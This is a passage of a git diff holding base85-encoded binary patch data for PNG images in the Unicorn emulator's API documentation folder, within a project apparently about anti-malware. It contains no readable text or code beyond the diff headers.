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 b?+#Y(tT}ZdtX6gZk&<(BamO{DCf@i9_0W-& literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/q3JtOQRPl5xTFKp.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/q3JtOQRPl5xTFKp.png new file mode 100644 index 0000000000000000000000000000000000000000..258d275bff9de9aa9cdaa42206042727367b89bd GIT binary patch literal 15096 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 